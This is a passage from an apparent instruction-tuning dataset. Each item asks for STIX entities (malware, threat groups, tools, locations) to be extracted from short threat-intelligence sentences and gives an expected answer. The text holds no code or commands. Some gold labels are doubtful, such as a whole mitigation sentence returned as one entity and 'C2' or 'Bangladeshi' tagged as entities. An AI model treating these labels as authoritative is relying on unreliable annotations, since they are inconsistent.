    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUtilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage. A SIS will typically include sensors, logic solvers, and a final control element that can be used to automatically respond to an hazardous condition\n",
    "output": "<entities>Utilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage.</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nConnectWise can be used to execute PowerShell commands on target machines.\n",
    "output": "<entities>ConnectWise|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFlagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.\n",
    "output": "<entities>Flagpro|BlackTech|Windows|Japan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.\n",
    "output": "<entities>WellMail|APT29|WellMess|Golang</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBLUELIGHT can collect process filenames and SID authority level.\n",
    "output": "<entities>BLUELIGHT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n",
    "output": "<entities>HUI Loader|China|Cinnamon Tempest|menuPass|SodaMaster|PlugX|Cobalt Strike|Komplex</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIt is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the Wiper malware.\n",
    "output": "<entities>Wiper</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRevenge RAT has the ability to access the webcam.\n",
    "output": "<entities>Revenge RAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. \n",
    "output": "<entities>ELMER|APT16|Delphi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.\n",
    "output": "<entities>SUGARDUMP|UNC3890|C2|C0010</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.\n",
    "output": "<entities>PowerShell|AutoIt</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.\n",
    "output": "<entities>ZxxZ|BITTER|C++|Bangladeshi</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWindTail can use the open command to execute an application.\n",
    "output": "<entities>WindTail</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nINSOMNIA is spyware that has been used by the group Evil Eye.\n",
    "output": "<entities>INSOMNIA|Evil Eye</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBlackMould can copy files on a compromised host.\n",
    "output": "<entities>BlackMould</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGPlayed is an Android trojan with a broad range of capabilities.\n",
    "output": "<entities>GPlayed|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nEnvyScout has the ability to proxy execution of malicious files with Rundll32.\n",
    "output": "<entities>Rundll32|EnvyScout</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRAPIDPULSE is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by APT5 since at least 2021.\n",
    "output": "<entities>RAPIDPULSE|APT5|Pulse Secure</entities>"
  },
  {
